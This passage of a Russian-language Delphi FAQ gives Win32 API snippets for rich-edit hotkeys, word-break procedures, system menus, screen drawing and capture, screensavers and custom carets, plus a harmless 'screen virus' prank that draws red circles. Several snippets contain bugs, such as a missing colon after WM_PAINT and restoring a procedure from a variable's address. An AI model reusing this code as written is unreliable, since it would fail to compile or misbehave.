                begin
                        Key := #0;
                                if fsItalic in (Sender as TRichEdit).SelAttributes.Style then
                                        (Sender as TRichEdit).SelAttributes.Style :=
                                        (Sender as TRichEdit).SelAttributes.Style - [fsItalic]
                                else
                                        (Sender as TRichEdit).SelAttributes.Style :=
                                        (Sender as TRichEdit).SelAttributes.Style + [fsItalic];
                end;
        KEY_CTRL_S:
                begin
                        Key := #0;
                        if fsStrikeout in (Sender as TRichEdit).SelAttributes.Style then
                                (Sender as TRichEdit).SelAttributes.Style :=
                                (Sender as TRichEdit).SelAttributes.Style-[fsStrikeout]
                        else
                                (Sender as TRichEdit).SelAttributes.Style :=
                                (Sender as TRichEdit).SelAttributes.Style+[fsStrikeout];
                end;
        KEY_CTRL_U:
                begin
                        Key := #0;
                        if fsUnderline in (Sender as TRichEdit).SelAttributes.Style then
                                (Sender as TRichEdit).SelAttributes.Style :=
                                (Sender as TRichEdit).SelAttributes.Style-[fsUnderline]
                        else
                                (Sender as TRichEdit).SelAttributes.Style :=
                                (Sender as TRichEdit).SelAttributes.Style+[fsUnderline];
                end;
        end;
end;
К заголовку




Как создаnm нестандартную процедуру разбиения слов при переносах?
Как создание нестандартную процедуру разбиения слов при переносах для TEdit, TMemo или TRichEdit?

В следующем примере создается процедура разбиения слов при переносах для TMemo. Заметьте, что
реализованная процедура просто всегда разрешает перенос. Для дополнительной информации см.таже
документацию к сообщению EM_SETWORDBREAKPROC.
              var
               OriginalWordBreakProc : pointer;
               NewWordBreakProc : pointer;

             function MyWordBreakProc(LPTSTR  : pchar;
                                      ichCurrent : integer;
                                      cch : integer;
                                      code  : integer) : integer
                {$IFDEF WIN32} stdcall; {$ELSE} ; export; {$ENDIF}
             begin
               result :=  0;
             end;

             procedure TForm1.FormCreate(Sender: TObject);
             begin
               OriginalWordBreakProc := Pointer(
                 SendMessage(Memo1.Handle,
                             EM_GETWORDBREAKPROC,
                             0,
                             0));
              {$IFDEF WIN32}
               NewWordBreakProc := @MyWordBreakProc;
              {$ELSE}
                NewWordBreakProc := MakeProcInstance(@MyWordBreakProc,
                                                     hInstance);
              {$ENDIF}
               SendMessage(Memo1.Handle,
                           EM_SETWORDBREAKPROC,
                           0,
                           longint(NewWordBreakProc));

             end;

             procedure TForm1.FormDestroy(Sender: TObject);
             begin
               SendMessage(Memo1.Handle,
                           EM_SETWORDBREAKPROC,
                           0,
                           longint(@OriginalWordBreakProc));
              {$IFNDEF WIN32}
                FreeProcInstance(NewWordBreakProc);
              {$ENDIF}
             end;

Как добавить пункт к системному меню приложения?

Последнее изменение: 08 сен 2001 (суббота), 23:49:02

Как добавить пункт к системному меню приложения?
Пример:

 type
   TForm1 = class(TForm)
     procedure FormCreate(Sender: TObject);
   private
     { Private declarations }
     procedure WMSysCommand(var Msg: TWMSysCommand);
       message WM_SYSCOMMAND;
   public
     { Public declarations }
   end;

 var
   Form1: TForm1;

 implementation

 {$R *.DFM}

 const
   SC_MyMenuItem = WM_USER + 1;

 procedure TForm1.FormCreate(Sender: TObject);
 begin
   AppendMenu(GetSystemMenu(Handle, FALSE), MF_SEPARATOR, 0, '');
   AppendMenu(GetSystemMenu(Handle, FALSE),
              MF_STRING,
              SC_MyMenuItem,
              'My Menu Item');
 end;

 procedure TForm1.WMSysCommand(var Msg: TWMSysCommand);
 begin
   if Msg.CmdType = SC_MyMenuItem then
     ShowMessage('Got the message') else
     inherited;
 end;

К заголовку




Как взять хэндл рабочего стола для манипуляций с иконками рабочего стола?
Рабочий стол перекрыт сверху компонентом ListView.
Вам просто необходимо взять хэндл этого органа управления. Пример:

function GetDesktopListViewHandle: THandle;
var
  S: String;
begin
  Result := FindWindow('ProgMan', nil);
  Result := GetWindow(Result, GW_CHILD);
  Result := GetWindow(Result, GW_CHILD);
  SetLength(S, 40);
  GetClassName(Result, PChar(S), 39);
  if PChar(S) <> 'SysListView32' then Result := 0;
end;

После того, как Вы взяли тот хэндл, Вы можете использовать API этого ListView,определенный в модуле CommCtrl, для того, чтобы
манипулировать рабочим столом.Смотрите тему "LVM_xxxx messages" в оперативной справке по Win32.

К примеру, следующая строка кода:

SendMessage( GetDesktopListViewHandle, LVM_ALIGN, LVA_ALIGNLEFT, 0 );
разместит иконки рабочего стола по левой стороне рабочего стола Windows.
(Borland FAQ N687, переведен Акжаном Абдулиным)
К заголовку




Как перехватить и обработать динамические изменения экрана?
Нужно перехватывать сообщение WM_DISPLAYCHANGE
type
  TForm1 = class(TForm)
    Button1: TButton;
  private
    { Private declarations }
    procedure WMDisplayChange(var Message: TMessage);
      message WM_DISPLAYCHANGE;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMDisplayChange(var Message: TMessage);
begin
{Do Something here}
  inherited;
end;
К заголовку




Как рисовать прямо на экране?
Делается так:
........................................................
Procedure DrawOnScreen; Var DC:HDC;
DesktopCanvas:TCanvas;
begin
 DC:=GetDC(0); // получили DC экрана
 try DesktopCanvas:=TCanvas.Create;
 DesktopCanvas.Handle:=DC;
  ..................
 // здесь рисуем на Canvas экрана
  ..................
 finally
    ReleaseDC(0,DC);
    DesktopCanvas.Free;
 end;
end;
........................................................
К заголовку




Как узнать и поменять разрешение монитора?
procedure ChangeDisplayResolution(x, y : word);
var
  dm : TDEVMODE;
begin
  ZeroMemory(@dm, sizeof(TDEVMODE));
  dm.dmSize := sizeof(TDEVMODE);
  dm.dmPelsWidth := x;
  dm.dmPelsHeight := y;
  dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT;
  ChangeDisplaySettings(dm, 0);
end;
К заголовку




Как установить количество цветов в системной палитре?
Функция GetNumColors возвращает количество цветов для актуально выбранного разрешения экрана.

function GetNumColors: LongInt;
var
   BPP: Integer;
   DC: HDC;
begin
   DC := CreateDC('DISPLAY', nil, nil, nil);
   if DC <> 0 then begin
      try
         BPP := GetDeviceCaps(DC, BITPIXEL) * GetDeviceCaps(DC, PLANES);
      finally
         DeleteDC(DC);
      end;
      case BPP of
         1: Result := 2;
         4: Result := 16;
         8: Result := 256;
         15: Result := 32768;
         16: Result := 65536;
         24: Result := 16777216;
      end;
   end else
      Result := 0;
end;

К заголовку




Копирование экрана?
unit ScrnCap;
interface
uses WinTypes, WinProcs, Forms, Classes, Graphics, Controls;

 { Копирует прямоугольную область экрана }
function CaptureScreenRect(ARect : TRect) : TBitmap;
 { Копирование всего экрана }
function CaptureScreen : TBitmap;
 { Копирование клиентской области формы или элемента }
function CaptureClientImage(Control : TControl) : TBitmap;
 { Копирование всей формы элемента }
function CaptureControlImage(Control : TControl) : TBitmap;

{===============================================================}
implementation
function GetSystemPalette : HPalette;
var
 PaletteSize  : integer;
 LogSize      : integer;
 LogPalette   : PLogPalette;
 DC           : HDC;
 Focus        : HWND;
begin
 result:=0;
 Focus:=GetFocus;
 DC:=GetDC(Focus);
 try
   PaletteSize:=GetDeviceCaps(DC, SIZEPALETTE);
   LogSize:=SizeOf(TLogPalette)+(PaletteSize-1)*SizeOf(TPaletteEntry);
   GetMem(LogPalette, LogSize);
   try
     with LogPalette^ do
     begin
       palVersion:=$0300;
       palNumEntries:=PaletteSize;
       GetSystemPaletteEntries(DC, 0, PaletteSize, palPalEntry);
     end;
     result:=CreatePalette(LogPalette^);
   finally
     FreeMem(LogPalette, LogSize);
   end;
 finally
   ReleaseDC(Focus, DC);
 end;
end;


function CaptureScreenRect(ARect : TRect) : TBitmap;
var
 ScreenDC : HDC;
begin
 Result:=TBitmap.Create;
 with result, ARect do begin
  Width:=Right-Left;
  Height:=Bottom-Top;
  ScreenDC:=GetDC(0);
  try
    BitBlt(Canvas.Handle, 0,0,Width,Height,ScreenDC, Left, Top, SRCCOPY        );
  finally
    ReleaseDC(0, ScreenDC);
  end;
  Palette:=GetSystemPalette;
 end;
end;

function CaptureScreen : TBitmap;
begin
 with Screen do
  Result:=CaptureScreenRect(Rect(0,0,Width,Height));
end;

function CaptureClientImage(Control : TControl) : TBitmap;
begin
 with Control, Control.ClientOrigin do
  result:=CaptureScreenRect(Bounds(X,Y,ClientWidth,ClientHeight));
end;

function CaptureControlImage(Control : TControl) : TBitmap;
begin
 with Control do
  if Parent=Nil then
    result:=CaptureScreenRect(Bounds(Left,Top,Width,Height))
  else
   with Parent.ClientToScreen(Point(Left, Top)) do
    result:=CaptureScreenRect(Bounds(X,Y,Width,Height));
end;
end.

К заголовку




Написание текста под углом?
Эта процедура устанавливает угол вывода текста для указанного Canvas, угол в градусах
 Шрифт должен быть TrueType !

procedure CanvasSetTextAngle(c: TCanvas; d: single);
var   LogRec: TLOGFONT;     { Информация о шрифте }
begin
 {Читаем текущюю инф. о шрифте }
 GetObject(c.Font.Handle,SizeOf(LogRec) ,Addr(LogRec) );
 { Изменяем угол }
 LogRec.lfEscapement := round(d*10);
 { Устанавливаем новые параметры }
 c.Font.Handle := CreateFontIndirect(LogRec);
end;
К заголовку




Экранный вирус
Никогда не видели экранного вируса? Представьте, что Ваш экран заболел и покрылся красными пятнами :) А если эта болезнь
нападёт на какое-нибудь окно ? Всё, что нам надо, это получить контекст устройства при помощи API функции GetWindowDC и
рисовать, что душе угодно.

К исходному коду особых комментариев не требуется, скажу лишь только то, что основная часть кода находится в обработчике
события OnTimer:

type
  TScreenVirus = class(TComponent)
  private
    FTimer: TTimer;
    FInterval: Cardinal;
    FColor: TColor;
    FRadius: Integer;
  protected
    procedure OnTimer (Sender: TObject);
    procedure SetInterval (Value: Cardinal);
  public
    constructor Create (AOwner: TComponent); override;
    procedure StartInfection;
  published
    property Interval: Cardinal
      read FInterval write SetInterval;
    property Color: TColor
      read FColor write FColor default clRed;
    property Radius: Integer
      read FRadius write FRadius default 10;
  end;

constructor TScreenVirus.Create (AOwner: TComponent);
begin
  inherited Create (AOwner);
  FTimer := TTimer.Create (Owner);
  FInterval := FTimer.Interval;
  FTimer.Enabled := False;
  FTimer.OnTimer := OnTimer;
  FColor := clRed;
  FRadius := 10;
end;

procedure TScreenVirus.StartInfection;
begin
  if Assigned (FTimer) then
    FTimer.Enabled := True;
end;

procedure TScreenVirus.SetInterval (Value: Cardinal);
begin
  if Value <> FInterval then
  begin
    FInterval := Value;
    FTimer.Interval := Interval;
  end;
end;

procedure TScreenVirus.OnTimer (Sender: TObject);
var
  hdcDesk: THandle;
  Brush: TBrush;
  X, Y: Integer;
begin
  hdcDesk := GetWindowDC (GetDesktopWindow);
  Brush := TBrush.Create;
  Brush.Color := FColor;
  SelectObject (hdcDesk, Brush.Handle);
  X := Random (Screen.Width);
  Y := Random (Screen.Height);
  Ellipse (hdcDesk, X - FRadius, Y - FRadius,
    X + FRadius, Y + FRadius);
  ReleaseDC (hdcDesk, GetDesktopWindow);
  Brush.Free;
end;

К заголовку




Как создать Screen Saver
Хранитель экрана (ScreenSaver) в Windows   это программа, размещенная в каталоге Windows или Windows\System. Расширение эта
программа должна иметь scr. При запуске ScreenSaver должен реагировать на параметры. Если первый параметр   "/p", нужно создать
окно предварительного просмотра. Если первый параметр   "/s", нужно запустить сам ScreenSaver. В ином случае нужно показать
окно настроек хранителя экрана.
Для предварительного просмотра Windows создает окно, на месте которого ScreenSaver должен что-то рисовать. Чтобы отслеживать
сообщения о перерисовке окна Preview, а также о его перемещении и закрытии, нужно создать дочернее окно в том же месте и такого
же размера. Для этого нужно использовать WinAPI. Цикл, в котором обрабатываются сообщения, удобно сделать через PeekMessage,
поскольку в этом случае можно создать событие OnIdle. В нем нужно рисовать что-то в окне предварительного просмотра.
Окно самого ScreenSaver-а можно делать без WinAPI. Для реагирования на события мыши и клавиатуры лучше всего использовать
событие OnMessage. Чтобы ScreenSaver работал в фоновом режиме рисовать нужно в обработчике события OnIdle. Причем каждый
раз нужно выполнять быструю операцию. Поскольку в окне ScreenSaver-а и в окне предварительного просмотра должно рисоваться
одно и то же, удобно сделать единую процедуру, которая бы выполняла короткое действие. В качестве параметров ей нужно
сообщать Canvas, высоту и ширину.
Поскольку, если программе не передаются никакие параметры, запускается окно настроек, то при его создании нужно проверять, где
на винчестере находится программа. Если она находится не в каталоге Windows, то нужно скопировать файл, сменив расширение на
scr.
В первом модуле находится окно хранителя экрана: ...
public
procedure OnMessage(var Msg: TMsg; var Handled: Boolean);
procedure OnIdle(Sender: TObject; var Done: Boolean);
end;
var
Form1: TForm1;
r, g, b: integer;
po: TPoint;
IniFileName: string;
procedure Draw(Canvas: TCanvas; var r, g, b: integer;
width, height: integer);
implementation
{$R *.DFM}
uses IniFiles;
procedure Draw(Canvas: TCanvas; var r, g, b: integer;
width, height: integer);
begin
with Canvas do begin
r := r + random(3) - 1;
if r < 0 then r := 0;
if r > 255 then r := 255;
g := g + random(3) - 1;
if g < 0 then g := 0;
if g > 255 then g := 255;
b := b + random(3) - 1;
if b < 0 then b := 0;
if b > 255 then b := 255;
Pen.Color := RGB(r, g, b);
LineTo(random(width), random(height));
end;
end;
procedure TForm1.OnMessage(var Msg: TMsg; var Handled: Boolean);
begin
case Msg.message of
WM_KEYDOWN, WM_KEYUP,
WM_SYSKEYDOWN, WM_SYSKEYUP,
WM_LBUTTONDOWN, WM_RBUTTONDOWN, WM_MBUTTONDOWN
: Close;
WM_MOUSEMOVE: begin
if (msg.pt.x <> po.x) or (msg.pt.y <> po.y) then Close;
end;
end;
end;
procedure TForm1.OnIdle(Sender: TObject; var Done: Boolean);
begin
Draw(Canvas, r, g, b, Width, Height);
Done := false;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
ini: TIniFile;
begin
Application.OnMessage := OnMessage;
Application.OnIdle := OnIdle;
{Эти два свойства можно установить при помощи Object Inspector}
BorderStyle := bsNone;
WindowState := wsMaximized;
ShowCursor(false);
GetCursorPos(po);
ini := TIniFile.Create(IniFileName);
if ini.ReadBool('settings', 'clear', true)
then Brush.Color := clBlack
else Brush.Style := bsClear;
ini.Destroy;
end;
Окно настроек:
...
{$R *.DFM}
uses IniFiles, Unit1;
procedure TForm2.FormCreate(Sender: TObject);
var
buf: array [0..127] of char;
ini: TIniFile;
begin
GetWindowsDirectory(buf, sizeof(buf));
if pos(UpperCase(buf), UpperCase(ExtractFilePath(ParamStr(0)))) <= 0 then begin
if not CopyFile(PChar(ParamStr(0)), PChar(buf + '\MyScrSaver.scr'), false)
then ShowMessage('Can not copy the file');
end;
ini := TIniFile.Create(IniFileName);
CheckBox1.Checked := ini.ReadBool('settings', 'clear', true);
ini.Destroy;
{Эти три свойства можно установить при помощи Object Inspector}
Button1.Caption := 'OK';
Button2.Caption := 'Cancel';
CheckBox1.Caption := 'Clear screen';
end;
procedure TForm2.Button1Click(Sender: TObject);
var
ini: TIniFile;
begin
ini := TIniFile.Create(IniFileName);
ini.WriteBool('settings', 'clear', CheckBox1.Checked);
ini.Destroy;
Close;
end;
procedure TForm2.Button2Click(Sender: TObject);
begin
Close;
end;
Файл с самой программой (dpr). Чтобы открыть его выберите Project | View Source.

program Project1;
uses Forms, Graphics, Windows, Messages,
Unit1 in 'Unit1.pas' {Form1},
Unit2 in 'Unit2.pas' {Form2};
var
 PrevWnd: hWnd;
 rect: TRect;
 can: TCanvas;

procedure Paint;
begin
 Draw(can, r, g, b, rect.Right - rect.Left, rect.Bottom - rect.Top);
end;

function MyWndProc(wnd: hWnd; msg: integer; wParam, lParam: longint): integer; stdcall;
begin
 case Msg of WM_DESTROY:
begin
 PostQuitMessage(0);
 result := 0;
 end;

WM_PAINT
begin
 paint;
 result := DefWindowProc(Wnd, Msg, wParam, lParam);
end;
else
 result := DefWindowProc(Wnd, Msg, wParam, lParam);
end;
end;

procedure Preview;
const
 ClassName = 'MyScreenSaverClass'#0;
var
 parent: hWnd;
 WndClass: TWndClass;
 msg: TMsg;
 code: integer;
begin
 val(ParamStr(2), parent, code);
 if (code <> 0) or (parent <= 0) then Exit;
 with WndClass do begin
 style := CS_PARENTDC;
 lpfnWndProc := addr(MyWndProc);
 cbClsExtra := 0;
 cbWndExtra := 0;
 hIcon := 0;
 hCursor := 0;
 hbrBackground := 0;
 lpszMenuName := nil;
 lpszClassName := ClassName;
end;

WndClass.hInstance := hInstance;
Windows.RegisterClass(WndClass);
GetWindowRect(Parent, rect);
PrevWnd := CreateWindow(ClassName, 'MyScreenSaver',
WS_CHILDWINDOW or WS_VISIBLE or WS_BORDER, 0, 0, rect.Right - rect.Left,
rect.Bottom - rect.Top, Parent, 0, hInstance, nil);
can := TCanvas.Create;
can.Handle := GetDC(PrevWnd);
can.Brush.Color := clBlack;
can.FillRect(rect);
repeat
 if PeekMessage(Msg, 0, 0, 0, PM_REMOVE) then begin
 if Msg.Message = WM_QUIT then break;
 TranslateMessage(Msg);
 DispatchMessage(Msg);
 end else Paint;
until false;

ReleaseDC(PrevWnd, can.Handle);
can.Destroy;
end;
var
c: char;
buf: array [0..127] of char;
begin
GetWindowsDirectory(buf, sizeof(buf));
IniFileName := buf + '\myinifile.ini';
if (ParamCount >= 1) and (Length(ParamStr(1)) > 1)
then c := UpCase(ParamStr(1)[2])
else c := #0;
case c of
'P': Preview;
'S': begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end;
else begin
Application.Initialize;
Application.CreateForm(TForm2, Form2);
Application.Run;
end;
end;
end.
К заголовку




Как запустить текущий Screen Saver
Для
этого можно использовать следующую функцию:
function RunScreenSaver : bool;
var
b : boolean;
begin
result := false;
if SystemParametersInfo(SPI_GETSCREENSAVEACTIVE,0,@b,0) <> true then exit;
if not b then exit;
PostMessage(GetDesktopWindow, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
result := true;
end;

Сначала мы проверяем, установлен ли Screen Saver, если нет -
возвращаемся с отрицательным ответом, в противном случае -
запускаем его и возвращаем true.
К заголовку




Как изменить вид текстового курсора (каретки) edit'а или другого элемента управления Windows?
В примере показано как создать два цветных "bitmap'а": "улыбчивый" и "хмурый" и присвоить
их курсору edit'а. Для этого нужно перехватить оконную процедуру edit'а.
Чтобы сделать это заменим адрес оконной процедуры Edit'а нашим собственным, а старую
оконную процедуру будем вызывать по необходимости. Пример показывает "улыбчивый" курсор
при наборе текста и "хмурый" при забое клавишей backspace.

Пример:

unit caret1;

interface

{$IFDEF WIN32}
uses
        Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;
{$ELSE}
uses
        WinTypes, WinProcs, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
        StdCtrls;
{$ENDIF}

type
        TForm1 = class(TForm)
                Edit1: TEdit;
                procedure FormCreate(Sender: TObject);
                procedure FormDestroy(Sender: TObject);
        private
                {Private declarations}
        public
                {Public declarations}
                CaretBm : TBitmap;
                CaretBmBk : TBitmap;
                OldEditsWindowProc : Pointer;
end;

var
        Form1: TForm1;

implementation
{$R *.DFM}

type
{$IFDEF WIN32}
        WParameter = LongInt;
{$ELSE}
        WParameter = Word;
{$ENDIF}
        LParameter = LongInt;

{New windows procedure for the edit control}
function NewWindowProc(WindowHandle : hWnd; TheMessage : WParameter; ParamW : WParameter;
                        ParamL : LParameter) : LongInt
{$IFDEF WIN32} stdcall; {$ELSE} ; export; {$ENDIF}
begin
{Call the old edit controls windows procedure}
        NewWindowProc := CallWindowProc(Form1.OldEditsWindowProc, WindowHandle,
                        TheMessage, ParamW, ParamL);
        if TheMessage = WM_SETFOCUS then
        begin
                CreateCaret(WindowHandle, Form1.CaretBm.Handle, 0, 0);
                ShowCaret(WindowHandle);
        end;
        if TheMessage = WM_KILLFOCUS then
        begin
                HideCaret(WindowHandle);
                DestroyCaret;
        end;
        if TheMessage = WM_KEYDOWN then
        begin
                if ParamW = VK_BACK then
                        CreateCaret(WindowHandle, Form1.CaretBmBk.Handle, 0, 0)
                else
                        CreateCaret(WindowHandle, Form1.CaretBm.Handle, 0, 0);
                ShowCaret(WindowHandle);
        end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
{Create a smiling bitmap using the wingdings font}
        CaretBm := TBitmap.Create;
        CaretBm.Canvas.Font.Name := 'WingDings';
        CaretBm.Canvas.Font.Height := Edit1.Font.Height;
        CaretBm.Canvas.Font.Color := clWhite;
        CaretBm.Width := CaretBm.Canvas.TextWidth('J') + 2;
        CaretBm.Height := CaretBm.Canvas.TextHeight('J') + 2;
        CaretBm.Canvas.Brush.Color := clBlue;
        CaretBm.Canvas.FillRect(Rect(0, 0, CaretBm.Width, CaretBm.Height));
        CaretBm.Canvas.TextOut(1, 1, 'J');
{Create a frowming bitmap using the wingdings font}
        CaretBmBk := TBitmap.Create;
        CaretBmBk.Canvas.Font.Name := 'WingDings';
        CaretBmBk.Canvas.Font.Height := Edit1.Font.Height;
        CaretBmBk.Canvas.Font.Color := clWhite;
        CaretBmBk.Width := CaretBmBk.Canvas.TextWidth('L') + 2;
        CaretBmBk.Height := CaretBmBk.Canvas.TextHeight('L') + 2;
        CaretBmBk.Canvas.Brush.Color := clBlue;
        CaretBmBk.Canvas.FillRect(Rect(0,0, CaretBmBk.Width, CaretBmBk.Height));
        CaretBmBk.Canvas.TextOut(1, 1, 'L');
{Hook the edit controls window procedure}
        OldEditsWindowProc := Pointer(SetWindowLong(Edit1.Handle,GWL_WNDPROC,
                                                                LongInt(@NewWindowProc)));
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
{Unhook the edit controls window procedure and clean up}
        SetWindowLong(Edit1.Handle,GWL_WNDPROC, LongInt(OldEditsWindowProc));
        CaretBm.Free;
        CaretBmBk.Free;
end;

К заголовку